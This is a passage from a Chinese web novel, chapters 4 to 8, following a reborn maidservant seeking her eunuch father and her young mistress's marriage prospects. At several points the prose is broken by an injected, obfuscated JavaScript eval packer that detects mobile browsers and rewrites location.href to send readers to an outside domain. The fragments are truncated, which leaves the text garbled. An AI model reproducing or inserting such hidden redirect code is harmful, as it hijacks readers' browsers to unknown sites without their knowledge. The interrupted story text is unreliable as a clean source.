当然在办了万珍珠的这一桩事情前,赵济世还要查一查消息。 那什么丫鬟福香是死是活?赵济世准备确定一二答案。 春日明媚,百花盛开。跑腿儿一回的万珍珠路过西花园时,她的鼻间萦绕着花香,似甜似腻。总之,便是瞧得一眼,赏得一回,也让人的心里舒坦极了。 匆匆一看,万珍珠又扫一眼西花园的一处迎春花开处。 那地方出过事,万珍珠知道的,福香就是在那一处与朱府二公子朱禅打情骂俏,尔后,被朱三姑娘朱凤曦撞上。 于是福香倒霉了。 万珍珠更清楚,搁如今嘛,福香不止倒霉。依着重生前的记忆,那就明明白白的告诉万珍珠,福香十成是凉凉了。 大宅院里,锦绣繁华,瞧着是富贵窝,位卑者若是没三两三的本事,又想飞上枝头做凤凰,那就容易给自个招灾。 德不配位,必有灾殃。福香落在万珍珠眼中便是如此。 至于说重活一回,万珍珠有机会改变福香的命运?太搞笑了。万珍珠为何要去做。 万珍珠又不是普济众生的圣母,她当然是搁下助人情节,尊重别人命运。 真去帮衬,凭万珍珠对人心自私的了解,福香十成会以为万珍珠是想拿捏把柄,威胁啥的。 可不会以为万珍珠是真好心。最可能的结果是福香会把万珍珠当了敌人。 做好事,结歹缘。万珍珠才不会做亏本的买卖。 万珍珠如今做的事情,也不过是借了福香的死,以此来佐证一下她的一些口舌之辩。 对于赵济世的了解, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047415|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万珍珠一点不了解。前世听来的传闻,万珍珠不会全信,不会不信。 万珍珠选择相信一点点。她相信在大大的利益面前,顺势而为,白得的便宜没谁会推开。 因为太容易得到了,反正又不会沾什么大的麻烦。 赵济世是大赵朝的武官,他跟大晋朝堂没一毛钱干系。真的顺手帮衬万珍珠一回,又不会害怕得罪谁。 离开西花园时,万珍珠回望一眼。这花园子真美。 万珍珠在心里赞一回。尔后,不再回头,往梧桐院去。 只搁心里,万珍珠有一点的感慨,能够做的,万珍珠已经安排上。 后面一切,万珍珠就得等了赵济世的手段。 再想为着身世,为着早点寻了亲爹做些什么?万珍珠是不会胡乱的起心思了。 因为目前已经搭着一条最合适的线。至少在短时间内,万珍珠还真的寻不着比赵济世更合适的帮衬人手。 天将晚,朱府客院内。 赵济世派去城外的好兄弟卢泰山回来了。对于不是亲兄弟,胜似兄弟的卢泰山,赵济世相信的很。 “大哥,朱府撵走的丫鬟死了。说是落水。”卢泰山讲道。 “……”赵济世静静听着兄弟讲事情。他听到此,心中有数。说是落水,八成就不是真落水。 “弟仔细打探后,还寻到尸体亲手验过,狗屁落水,十成被人摁水里了。那丫鬟指定被人弄死的。”卢泰山比了手势。 摁了头,掐后颈,卢泰山的动作学得真像是瞧了现场回放一样。 福香的死法就跟卢泰山比划得一模一样,被人摁住头,被人掐后颈,尔后,在浅浅的水面下淹死了。 “闹清楚咋死的就成。”赵济世的心中已经有计较。 “大哥,还要弟做甚不?”卢泰山关心问道。 “无事。”赵济世语气缓和,道:“闹清楚这一桩小事不过添头。后面为兄想着谋一点小利,你我兄弟能挣点好处就拿。挣不到也不会损失什么。” “全听大哥的。”卢泰山回道。 从来一伙子兄弟里都是结义大哥做主心骨,卢泰山对自己的定位就是听话办事。多思考啥的,卢泰山懒得动脑子。 卢泰山瞧着粗心,可他有自己的主见,那就是一切听大哥吩咐。大哥指哪,他就打哪。 朱府,内宅,正院。 节度使朱瑞留了夫人院里。晚间又准备歇在正院。 “婉芯,有一桩事情得与你说说。”朱瑞唤了嫡妻的闺名。 杨夫人闺名婉芯,此刻她瞧着夫君挥退侍候的丫鬟婆子,还想商量事宜。杨婉芯笑道:“瑞郎,瞧这态度,颇是有大事发生的样子。” “齐王世子在我跟前是狠狠的夸了一回凤曦。”朱瑞讲道。 “齐王世子不过与凤曦略见一面,盛赞之言,从何说起?”杨婉芯不相信。 “醉翁之意不在酒啊。”朱瑞感慨一句。 杨婉芯听懂了。这里面还有事。她的神色一变,目光落于夫君的一双眸子处。此时的夫妻二人是四目相对。 杨婉芯讲道:“瑞郎之意,齐王世子莫不成想结了秦晋之好?” 杨婉芯脸上带着三分笑意,神色却是不怎么相信的讲话。却不想朱瑞点头,赞同夫人的话有道理。 “我瞧着,齐王世子是真的有这一份心意。”朱瑞给出自己的答案。 “不成。”杨婉芯一口讲出自己的答案。 “瑞郎,我哪能舍得凤曦远嫁。”杨婉芯说出自己的不舍。 落杨婉芯的本心想法里,远嫁以后,出嫁女没了娘家就近做靠山。那日子是好是歹,真可谓是两难之说。免不得嘛,远嫁过得苦的倒是泰半多数。 5. 第5章 第5章 “瑞郎,齐王世子再尊贵,却也是大赵朝的皇长孙。大晋大赵,各为其主。”杨婉芯劝解一话道。 对于杨婉芯而言,一旦夫君嘴里的姻缘成了,就简直是天降祸事。 关乎女儿一辈子的终身大事,杨婉芯可不会犯了糊涂。 “各为其主。”朱瑞笑道:“婉芯此话,在理,在理。” “我提一句,也不过是想让婉芯注意一二。让凤曦与齐王世子疏远一点。”朱瑞说出自己的意见。 “原是如此。”杨婉芯笑了,道:“是我误会瑞郎。我糊涂了。” 略一停顿话语,杨婉芯的目光里含上柔情蜜意,又道:“瑞郎最是心疼儿女,我啊,糊涂。” 再三说自己糊涂,杨婉芯的语气越发温柔三分。 朱瑞瞧着夫人的态度,笑道:“关心则乱,婉芯,你我一样,皆是一片慈心,一样的爱护了凤曦他们兄妹。” 对于朱凤曦而言,她遇见了齐王世子李明弘。 遇见便是遇见,不过一个过客。 做为后世来人,穿越女朱凤曦这一辈子含着金汤匙出身。有父母疼爱,有兄长疼爱,朱凤曦可不会想着攀附皇家富贵。 嫁给皇家子弟有什么好的?凭着上一辈子看过的宫斗剧,朱凤曦太懂了。皇家斗来斗去,没得麻烦。 倒不如依了父母心意,挑一位门当户对的郎君。结发成夫妻,恩爱两不疑。 当然了,在朱凤曦心中最要紧的还是一生一世一双人。 朱凤曦多骄傲的女子,她可不会容忍枕边人纳了小妾通房。 三月春风,暖阳暖心。 万珍珠又见了一回赵济世,故地故人,再是碰面。 万珍珠听着一个好消息。赵济世告知他们一行将要起程,准备告辞离开。 关于万珍珠的身世,赵济世会寻机会告知内相万忠良。至于真伪?一切自有万内相差人查明真相。 “大人恩德,小女子铭记不忘。待寻回了爹爹,必会报答恩公的恩情。”万珍珠又行大礼。 赵济世没避开,他在受领了万珍珠行的大礼后,才是虚扶一下,说道:“万姑娘客气了,您请起。” 问赵济世对于见两面的万珍珠什么印象?胆大。 除了这二字,再无其它。 不过万珍珠敢下注,抓着机会不松手。赵济世就挺欣赏的。 位卑者不自卑,攀于富贵也罢,奢求改变命运也罢。落赵济世心中,这些不重要。成功了就是胆大心细,有能耐,有命数。 若是失败了嘛,那当然就是心比天高,命比纸薄。说明白点,从来世道论人事事非非不是看了过程,而是瞧了结果。 “万姑娘,此一别,他年可能相见,可能不见。愿姑娘寻回父亲大人,富贵一生,荣华无双。”赵济世不介意口头说一点中听的话。 这一番话从赵济世嘴里讲出来,万珍珠听着,她就爱听。 “借大人吉言。小女子祝大人此去,青山绿水,诸事无恙,鹏程万里,青云直上。”万珍珠说着客套的场面话。 见一面,赵济世给万珍珠一个保证,他会办成传口信的事。 万珍珠前程如何?那得看万珍珠自己的话保真不保真。 万珍珠的态度还是一口咬定,她的身世,比真金还真。 二人略过场面话,匆匆碰面,匆匆告辞。各自都觉得不过人生过客,许是略略相逢,偶然交集。 再回梧桐院,万珍珠的一颗心安静了。朱府内外,事事非非,万珍珠是万事看淡,只待亲爹的消息传来。 免不得当差时,万珍珠又听几耳朵梧桐院的大事小事。 “齐王世子要离开了,太可惜了……”坠儿感慨一回。对于坠儿可惜什么?万珍珠当然知道的。 梧桐院的丫鬟里,不是谁都见过齐王世子。 可家生子出身的家下人里,有人消息灵通着。齐王世子向三姑娘朱凤曦弹一曲凤求凰的事儿,那在梧桐院里隐隐约约,有耳朵的都听了一些流言蜚语。 “坠儿,关乎姑娘清誉,可莫多嘴。嬷嬷都讲上头下了禁口令。”锦儿讲道。 “……”坠儿赶紧做一个闭嘴的手势,她闭嘴了。 听着同事们的议论结束,万珍珠还是照例旧,她不掺合这些谈话,她就带耳朵听一听罢了。 可在心头嘛,万珍珠腹诽。 哈哈哈,皇帝不急,太监着急。同事们议论错了CP,朱三姑娘的官配是司马二公子。 齐王世子是大赵朝的皇长孙,皇子皇孙又如何?朱三姑娘不稀罕的很。 梧桐院,正屋里。 朱凤曦心思有一点点的乱,丫鬟们是否议论了齐王世子的一曲凤求凰,朱凤曦不在意。 凭母亲治家的严谨,朱凤曦相信只要母亲不想,府上就不会传了半分的谣言出去。 朱凤曦在意的是齐王世子李明弘如玉君子,不止浑身有皇家贵气,更是英俊不凡。 更简单点说法,朱凤曦被齐王世子的俊美容颜打动了。朱三姑娘也看脸。 “奈何……”朱凤曦感慨二字。 齐王世子李明弘虽然好也,朱凤曦却不会想着远嫁异国他乡。注定有缘无份,朱凤曦想一想后,只能慧剑斩情丝。 “姑娘,瞧您为难的态度。但请姑娘有事,只管吩咐奴婢们去办妥就是。”旁边侍候的大丫鬟白玉是关心的讲话道。 听白玉这一番话,朱凤曦的目光落白玉身上。 朱凤曦来了讲话兴致,她说道:“白玉,你也见过齐王世子,你说,齐王世子的一个曲凤求凰,用意何在?” 白玉笑了,语气温柔三分,忙回话道:“姑娘,奴婢瞧着,齐王世子是心悦姑娘了。” “姑娘多好的人儿,貌美心善,家世清贵。天下间的男子瞧过才貌双全的姑娘,自然是会欢喜了。”白玉给出自己的看法。 “姑娘,奴婢也觉得齐王世子欢喜您。”旁边的大丫鬟翡翠附合一句。 大丫鬟们各抒己见,朱凤曦听一个开心。哪怕在心里,用心一思考,朱凤曦知道她跟齐王世子这一辈子注定是没有缘分的。 可朱凤曦也开心了,那是添一个欢喜过她的俊郎君。 这说明了什么?当然是朱凤曦耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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万珍珠说的大实话,她太记得。那桃木簪子她都拿走了,还当成信物给了赵济世这一位传话信使。 “如今簪子不见了。”牛嬷嬷的脸上流露出难过的神情。 “那是你爹留给娘的念想,唉。”牛嬷嬷叹息一声。 “……”万珍珠沉默片刻后,她从衣襟里拿出一个荷包。 “给,给娘您。”万珍珠塞给亲娘。 牛嬷嬷一拿着女儿塞来的荷包,她的脸上伤心神色消去。 牛嬷嬷对于梧桐院里的消息灵通着,她知道女儿得了上面的赏。这不,忙来替亲闺女积攒了家当。 对于失去丈夫亲自赠的簪子,牛嬷嬷是伤心一回。可伤心归伤心,那簪子都丢了。 还怎么办? 牛嬷嬷在住的家下人房处闹过一场。闹腾一回,尔后,自然是无疾而终。谁让木簪子不值钱,事儿真的闹不大。 “珍珠,娘的闺女,你真孝顺。这些,娘先替你收着。”牛嬷嬷收了女儿给的好处,忙夸闺女。 “唉唉,可惜……”牛嬷嬷感慨一回,啐一口,又讲道:“丢了东西,骂过一场。到底没寻着贼,也不知道哪一个招瘟得敢偷老娘的东西。丧良心呐。” 6. 第6章 第6章 万珍珠听着亲娘的话,她不相信说甚的替她攒钱收着。 万珍珠更相信是亲娘乐意丰富一下自己的私房钱。不过亲母女嘛,人艰不拆。有些话就不讲了,免得扫了亲娘的脸面。 “你在梧桐院好好当差。娘还有事就不多留你说话。”牛嬷嬷叮嘱一番,道:“记得在梧桐院里机灵点。也莫怕事,谁敢欺负你了,一定得跟娘讲了。为娘可是姑娘的奶嬷嬷,姑娘可吃着为娘的奶水长大。梧院里,你娘还有几分体面。” 牛嬷嬷是很自得她这一个奶嬷嬷的差遣。 瞧亲娘得意洋洋的神情,万珍珠点头。她讲道:“娘放心,我一定好好当差。在梧桐院里有您的体面,没谁敢欺负女儿。” 在梧桐院的日子,借重活一回的记忆,万珍珠知道没谁会无事寻事的来欺负她。不看僧面看佛面,牛嬷嬷这一位奶嬷嬷的体面还有一点点。 “成,你心里有数就好。”牛嬷嬷脸上的得意还没收住。 此时也不多留闺女继续谈小话,爽利放人离开。 万珍珠来的匆匆,离开匆匆。 不过在回了梧桐院时,路过夹道。万珍珠撞上一张熟悉的脸庞。不期而遇,太过突然。 万珍珠瞧一回,尔后,就忙低下了头,她的脚步匆匆,不曾多瞧,不曾回头。 那是一个长相不错的小厮,他的生父是府里家生子,听说当初还跟过朱节度使。听传闻有一些功劳傍身的。 奈何命不好,人是早早的就去了。留下一对孤儿寡母的生活。 让万珍珠一瞧就面熟的小厮,他的名字叫张忠。 张忠,万珍珠在心里嚼一回这一个名字。 前世今生,万珍珠重活一回,还穿书了。那又如何? 依着本心,万珍珠并不太想跟这一个人沾上关系。谁让张忠在前世便是万珍珠那短命的丈夫。 张家这家生子做的,那对主家是忠心耿耿。张忠之父如此,张忠亦是如此。 可落万珍珠的眼里就是何其可笑。毕竟张家最后落一个血脉断绝的收场。 张忠是人如其名,一颗忠心向主子。至于妻女?张忠这一位忠仆可是顾不上的。 前世之时,万珍珠会嫁给张忠,不过是朱三姑娘栓婚的结果。 莫看眼下未出嫁的朱三姑娘貌似要脸,端着穿越女的矜持。等着成婚后,这一位朱三姑娘是脸一抹,态度全变了。 怎么说呢?可能就像是《红楼梦》里贾宝玉的嚷嚷之语,颇有几分映衬在朱三姑娘朱凤曦的身上。 出嫁前,朱三姑娘做人做事是高高在上,端着一幅骄傲的嘴脸。出嫁后,许就是珍珠变成了鱼眼珠子。 落万珍珠的真心话讲,时移世易,人心不古。 搁时光面前,搁世道打磨,就好像没什么是亘古不变的。 至于说甚的狗屁穿书,狗屁小说,小说几许字数,又哪写得尽真实世界的精彩绝伦与酸甜苦涩。 “狗屎……”在心里,万珍珠腹诽一句。她觉得今个出门犯了黄历。若不然,哪能遇上一件两件全是遭心事。 先是亲娘那一边寻一回,讲出来桃木簪子的事情发了。万珍珠用自己的私房钱堵了亲娘的嘴,让亲娘展颜欢笑。 尔后,又遇见不想遇上的张忠。 万珍珠神烦张忠这人,哪怕二人在前世有一个女儿。 回到梧桐院,万珍珠当差时,她身边的低气压更是压低了三分。 好在万珍珠一直沉默寡言,她的一点点异常落旁人眼中,那跟往常一样的少言少语。真没人发现有什么不同之处。 春日好光景,朱府招待一回齐王世子一行。待世子一行人离开后。 那掀起的一点子风波散。与此同时,朱府主母杨婉芯是关心上女儿朱凤曦的婚事。 朱府,正院。 朱凤曦瞧着母亲递上来的名录与画卷。她先是愣神片刻,尔后,大方的问道:“娘,这是做甚?” “这是府上交好世家的少年郎君名录与画像。让你过目一回,也免得闹什么父母不心疼你,还让你盲婚哑嫁的。”杨婉芯递一递面前的名录与画卷。 一听母亲之言,朱凤曦心头意动。虽然她的年岁还小。当然,这是以前世为标准。 在如今的世道,朱凤曦知她的年岁当订婚,当成婚。 待今年初夏时,她举办了及笄之礼,便可以正式的谈婚约,谈出嫁一事。 女子十五,及笄成年。在如今的世道,再晚一些,真是担搁了婚事,那就容易变成被人蛐蛐的老姑娘。 老姑娘的名声不止不好听,还容易坏了一族姐妹的名声。 世家大族也罢,宗族乡民也罢,女子的名声总要顾惜的。因为一族女子,同是姐妹,可谓是一荣俱荣,一损俱损。 “就知娘心疼女儿。”朱凤曦不急着看什么交好世家郎君的名录与画像。 朱凤曦先搂了亲娘杨婉芯的胳膊,她撒娇一回。 对于闺女的亲近,杨婉芯受用极了。母女二人腻歪一会儿,在母亲的催促下,朱凤曦才是打开名录,瞧一瞧世家公子的家世背景,详细记录。 尔后,再是对照着姓名一一瞧过画像如何。 朱凤曦一一瞧过后,又在脑海里回忆了往昔跟母亲一起学习打量府务的事儿。 迎来送往,哪些家族是真正的亲近,哪些是攀附上来的新交情等等。 朱凤曦想一想,略提一话,道:“累娘辛苦一场,女儿瞧着这些公子郎君都是极好的。” 杨婉芯心疼亲闺女,那是千挑万选。这挑出来的未来女婿人选就可谓是四角俱全。 真让人挑了,真是挑不出半点儿的毛病。至少让朱凤曦瞧,她瞧着都好。 可谓是春日赏景,百花盛开,那是花开太美,这给惹了挑花眼。 一时之间,让朱凤曦选,她也是选不出来中意的。 左看右瞧,这些世家公子哪一位都是东床快婿的好人选。 可不见一面,不曾瞧过真人如何?朱凤曦又做不得准。 待春过,又夏至。 朱府在忙碌着要操持了三姑娘朱凤曦的及笄之礼。此等盛宴自然是操办的非常隆重,可谓是蓬荜生辉,八方迎客。 大晋朝,镐京都。 大赵使节已经拜会过大晋天子。此时夏至,略有暑意。 万忠良是当今天子的心腹,得大晋天子信任,一时间风头无两。这一位万内相自然是当得好不痛快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他开口,吩咐道:“去查一桩事情,仔细些,莫张扬。” 万忠良让查的事情自然是万珍珠的身世。 当年一场大洪水让万忠良回不去家乡。等着他在宫廷里落脚生根,有一点子能耐时。又再去寻亲人故旧时,哪能容易寻到? 这些年里,万忠良没放弃,他是一直在寻了亲人故旧。爹娘早逝,可大哥一家呢?还有当年娶过门的媳妇牛氏。 万忠良一直记着,在一场大洪水之前,他的媳妇已经揣上了自家的娃子。 这些年的寻找,万忠良不是没收获。媳妇没有寻到,大哥一家是寻到了,可惜,晚了。 万忠良寻到的结果,也不过是人皆没了。 “儿子明白,一定办妥。”小黄门听完一番的吩咐后,赶忙应话。 关乎了干爹有一个亲闺女的大事,这可是关系上万家祖宗与子嗣根苗的喜讯。小黄门太懂了,这事情办妥当,他就是干爹的好儿子。 至于办不妥当?这一个坏掉的答案不存在于小黄门的脑袋里。 7. 第7章 第7章 节度使府一片喧嚣,热闹非凡。节度使嫡女的及笄有多盛大,万珍珠是一个见证者。 可谓是见识了一回富贵人家的奢华。对此,万珍珠除了羡慕,还是羡慕。 在心头,万珍珠在想着亲爹啥时候来呢?想爹的一天。 奢华富贵,宾客迎门,高朋满座。等等的词语也不过形容了一二分朱三姑娘朱凤曦的及笄之礼盛况。 梧桐院。 万珍珠见着亲娘,牛嬷嬷对闺女说道:“上头赏了,重重的赏。珍珠,快,娘特意来替您攒了私房。” 牛嬷嬷伸手,她就一幅认真模样。貌似收刮女儿私房钱这一方面,牛嬷嬷特认真,行动力满满。 “娘,女儿要留了脂粉钱。”万珍珠想留下小金库。虽然她的小金库里没多少银钱。 “你的月钱,你能留一半。你一个小丫头片子,哪能花销多少?府里给吃给住给穿给赏……”牛嬷嬷的魔音灌耳,入万珍珠的耳里时全是叨叨之音。 府里今个热闹,梧桐院又讲究要脸面。万珍珠忍了。 她真的不想让亲娘闹腾起来,太丢脸了,不止亲娘丢脸,她跟着没脸。这些还不重要,重要的是今个在举办朱三姑娘朱凤曦的及笄宴。 真是让梧桐院闹腾起来,万一亲娘嘴里没把门。万一让朱三姑娘生气了,母女一体,亲娘不得好,万珍珠同样落不了好。 想一想,好气啊。万珍珠忍了。 “给,给娘您。”万珍珠不舍得小钱钱,奈何,最后还是决定送出小钱钱,换得耳根子清静。 “珍珠孝顺,娘就享了亲闺女的福。”牛嬷嬷拿着亲闺女得的赏钱。她是一脸乐呵呵。 牛嬷嬷拿着好处,不介意多夸一夸亲闺女。 顺嘴儿的事情,牛嬷嬷夸一番。夸罢后,她就急匆匆离开,现在是应该当差的时候,牛嬷嬷溜号了。 如今牛嬷嬷忙急匆匆回了自己的岗位去。可谓是来匆匆,去匆匆。 夏日,天热。 万珍珠心里腹诽,哪怕有冰鉴,想必今个三姑娘也遭罪。 不过这样的风光,落谁头上,哪怕遭罪,那肯定也是乐意多遭罪几回。 怎么说呢?人前显圣,那等爽利,简直可谓是最好的补药。滋补着呢。 瞧过今个朱三姑娘的及笄礼,万珍珠又想着亲娘收刮小钱钱的利害劲儿。她感慨,真的是又想亲爹了。 至于跟亲娘闹腾?要回小钱钱什么的。不可能,没法子。 万珍珠了解亲娘,落亲娘手里的小钱钱,注定拿不回来。 凭的便是亲娘的小气巴拉,那莫名的吝啬劲儿,那简直是刻进了骨子里的。改不了,没法改。 永州地界,郡府首善之地。 镐京的客人远到而来,来的谨慎,不曾惊动了当地官府与大族名流。 等到了地头,镐京来客为着不泄漏了风声,于是便专门启用了皇家的一点暗子。 来人不是旁人,正是万忠良的干儿子宋三德。 宋三德一个小黄门,入宫后,幸运的抱上金大腿,认了干爹万内相。 对于宋三德而言,办妥当了干爹的吩咐,给未来的万家千金留一个好印象,妥妥得就是一本万利的买卖。 至于说启用皇家的暗子,多新鲜,没了根的太监全是皇家的奴才。 这办事儿用一用皇家的人脉,用一用皇家的资源,最是正常不过的事儿。 先画靶,再射箭,从来就是最容易办成的事情。知道有万珍珠这么一个人儿,再是查了陈年旧事。宋三德办得有条有理,顺顺利利。 在永州的郡城里,宋三德拿着下面人的汇报,他自个总结一回。 心头有数儿,宋三德就赶紧的差人给镐京递消息。 至于他自个,当然还是留在永州地界,一应等着干爹的回复。 当然不得瞎等着,宋三德还要提前干一点小事。那便是给未来的万家千金送一送温暖。 朱府,内宅,梧桐院。 万珍珠又得了一回上头姐姐的差遣。她得出门一趟,要替姐姐去外面买一点女儿家的消遣玩儿。 对此,万珍珠不介意。 出门子去瞧一瞧外面的热闹,万珍珠有兴趣。毕竟前世记忆里的一切,归于记忆。 重活一回,万珍珠还没出过门子,见一见市井的烟火气。 腰里有钱,多瞅一瞅,逛一逛街,再顺道替姐姐们采买一点东西,万珍珠一点儿也不介意的。她心里头还是美滋滋的乐意。 郡城之地,颇是繁华。至少落于这一个世道而言,当属繁华之地。当然了,要跟万珍珠的记记里,那繁华的未来相比,当然是没得比。 这般烟火气浓浓的市井热闹,万珍珠还是瞧着颇得意趣。 在一处脂粉铺子,万珍珠选中几样。在她付钱将离开时,有人凑上前于万珍珠的耳边递了小话。 “对面的点子铺子有镐京来客,烦请与万姑娘一述。”妇人递了一话,尔后,错身而过。似不相干的人物一般,便离开了。 万珍珠听罢,准备踏出脂粉铺子的脚步一顿。此时的万珍珠努力着让自己面色如常。她抬起头,还是望了一眼对面的点心铺子。 在心头,万珍珠有计较了。事儿来,万珍珠不会拒绝。此时此刻的万珍珠是坦坦荡荡得往对面的点心铺子走去。 等万珍珠一进点心铺子,掌柜上前,很客气的请万珍珠往后店去。 万珍珠没拒绝,在掌柜打了帘子后,她去了一趟点心铺子的后院。 前店后院的格局,万珍珠一进去,这会儿发现这一处院子小巧雅致,颇是不俗。 “万姑娘,有礼了。”一个高高瘦瘦,面相不错的郎君向万姑娘见一礼。此人便是宋三德。 在宫廷里当小黄门,还想往上爬做大太监。那容貌不会太差。 或者说哪怕容貌不出众,至少给人眼缘。真是丑的千奇百怪,那也万万不可能入了贵人的法眼。毕竟世人,都会看脸。 长得丑,从来容易被歧视。若不然如何会有名言,以貌取人,失之子羽。 “这位郎君,您有礼了。”万珍珠回一礼。她的心跳在这一刻砰砰加速。 当然不是什么见色起义的一见钟情,更不是万珍珠心悦了面前的郎君。 万珍珠纯粹是知道对方从镐京而来,她能想到的答案只有一个。 那便是来客跟她亲爹有干系。平生希望啊,亲爹的金大腿要来了吗?万珍珠有亿点点的期待。 大晋朝,镐京都,宫廷内。 等着万忠良千盼万盼,盼来永州的书信后。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万内相,哪怕是尊称了宫廷里的大太监。可沾上一个宰相的“相”字。 万忠良安排桩桩件件的事儿,那得分一分,大大小小的手下一体沾利。 等干儿子离开后,万忠良心头盘算一翻。他的心里有计较。 等王美人诞下皇嗣,万忠良借着报喜之时,趁了陛下一高兴。关于亲闺女的事情当然要跟陛下汇报一回,澄清一番。 又或者说这等事情,万忠良瞒不了,不想瞒。万忠良可想给亲闺女荣华富贵,这天下间,哪还有着比皇家更好的荣华富贵吗? 落万忠良心头,那真真的是没有。 王美人大喜不大喜?万忠良这等天子跟前的近臣不甚在意。可天子的欢喜,天子的心情好坏,万忠良太需要抓了脉搏。 天子喜时,万忠良讲一讲自己的喜讯,天子肯定听一个乐呵。 真凑了天子不开心时,自个留了把柄马脚,万一让人拿住了,那时候被人栽脏也罢,实锤也罢,喊冤枉了,那也容易闹一个没理。 谁让万忠良最清楚,天子近臣要的是天恩眷顾。一旦跟天子的情份淡了,天子近臣居于高位,好事也会变成了坏事。 8. 第8章 第8章 夏日时,暑气炎炎。这般时节的梧桐院里,待下发了月钱后,人人欢喜。 问万珍珠的心情,她的心情也挺好。哪怕有镐京来客奉上的厚重见面礼。这能捡的便宜,哪怕是一丢丢的小钱钱,能拿着,万珍珠也不会嫌弃少。 谁还嫌弃小钱钱多了?蚊子肉,那也是肉嘛。 “娘。”万珍珠寻了亲娘。借着发月钱的时间,她回了一趟往昔住过快要十五年的家。 家,哪怕是一处朱府的下人房呢。可住得久了,太熟悉了。许是有亲娘在呢,这便是有家的感觉。 “今个高兴,都发月钱呢。”万珍珠脸上满满笑意。 “瞧你高兴,怕是高兴能存了私房。”牛嬷嬷一幅老娘明白太懂的神情。 “娘。”万珍珠的语气带一点子撒娇,说道:“女儿能存了私房,手头宽省,那也是娘心疼女儿嘛。” “算你懂事。”牛嬷嬷得意,她骄傲的说道:“瞧瞧府上跟你一样当差的,谁不是把月钱都给老子娘的。” “就你,也是遇着我这做娘的心疼。这不,白白半个月的月钱,全随你心意的自个支配。”牛嬷嬷说着说着,她也觉得自己是绝世好亲娘。 “……”万珍珠嘴角抽抽,哪怕心头有槽点。 万珍珠不会讲,她知道,她亲娘也要脸,也是一个爱面儿的讲究人。 “给。”万珍珠干脆不废话,她直接上手段。 “这是……”牛嬷嬷接过闺女递上来的东西。 “药卤子水,避暑解暑,包甜。”万珍珠给亲娘解释一回,说道:“女儿在药铺买回来的,还是百年老店的老方子,效果贼好。” “药,没病吃啥药。”牛嬷嬷不开心,脸上立刻反映上来,问道:“你又花了冤枉钱,说说,这一回花了多少。” “没多少。”万珍珠继续哄亲娘,说道:“女儿献孝心呢,一心想着娘。娘不要,那女儿自个收下。” 万珍珠伸手,她做了要拿回药卤子水的举动。 “唉唉,哪能不要。”牛嬷嬷伸手,轻轻拍一拍闺女的手背。 瞧着亲娘护食的模样,万珍珠笑了。 “你啊,手头松快。”虽然收了女儿的礼物,牛嬷嬷要念叨一回。 “往后可不能乱花用,还得多攒着。手里有积蓄,心头才不荒。节俭才是持家之道。”牛嬷嬷叨叨的话语里,又藏着一番的教导。 在牛嬷嬷的心底,这是她的真心话。她自个就爱攒私房。 为得什么?还不是怕手头没有银钱,真到需要时,那是两手空空啊。 “女儿记着呢。”万珍珠应下。 对于亲娘的叨叨,万珍珠不觉得烦。或许重活一回,又觉得这样的叨叨才是亲人之间的叮嘱。 听着听着,还是顺耳了。 “女儿只是担忧娘,您不奈夏日,最怕热,又怕暑。”万珍珠如今有钱了,当然得给亲娘安排上避暑的。 万珍珠哪能自个偷偷享福,还是不记挂了亲娘一遭。 牛嬷嬷不奈暑,如何避?万珍珠如今那亲爹的金大腿还要等一等。 那么,花点银钱,买一点避暑消暑的好东西给亲娘用一用,落万珍珠心里怎么做,怎么都是对的。 人嘛,有钱了,不花掉。只想着攒了攒,人万一省出毛病,万珍珠那才得哭死呢。 “就你孝顺。”牛嬷嬷瞪女儿一眼。 虽然嘴里叨叨。可心头,牛嬷嬷开心着。这不,跟女儿讲一讲话,牛嬷嬷赶紧的去周遭跟邻里炫耀了。 这不,在离开自家住的屋子,准备要回了梧桐院时。 万珍珠就听到亲娘的高声炫耀。夸的还就是万珍珠本人。谁让亲娘的声音落了耳朵里,老熟悉了。 “我家珍珠最孝顺不过,瞧瞧,怕我中暑,珍珠特别给我买的避暑药卤子水。”牛嬷嬷摆明夸女儿。 “要说,珍珠就是爱乱花钱,那孩子手头太宽松。奈何,我这心疼女儿,这不,全由着女儿的心意行事。”牛嬷嬷替自己表功劳。 “……”至于后面牛嬷嬷与人的谈话,万珍珠没细听,她要回去当差了。 可心头,万珍珠能想像得到,她替亲娘买了药卤子水的事儿,不消一天的功夫肯定是人尽皆知。 当然了,家下人的消息,那肯定是在家下人的圈子里传扬。至于主子们,那肯定不在乎这些家下人们的零碎小事。 暑夏时,一场雨后,大晋城,镐京都,宫廷内。 万忠良得着干儿子急急来禀报的消息,王美人生下了皇嗣。 “王美人有福,小皇子降生,此皇家大喜。”万忠良心情不错,还夸一句报信的小黄门。 尔后,万忠良一整衣冠,他往殿内去。 殿内,大晋天子刘暻正在欣赏了歌舞。此时的天子好不快活,美人相伴,快哉快哉。 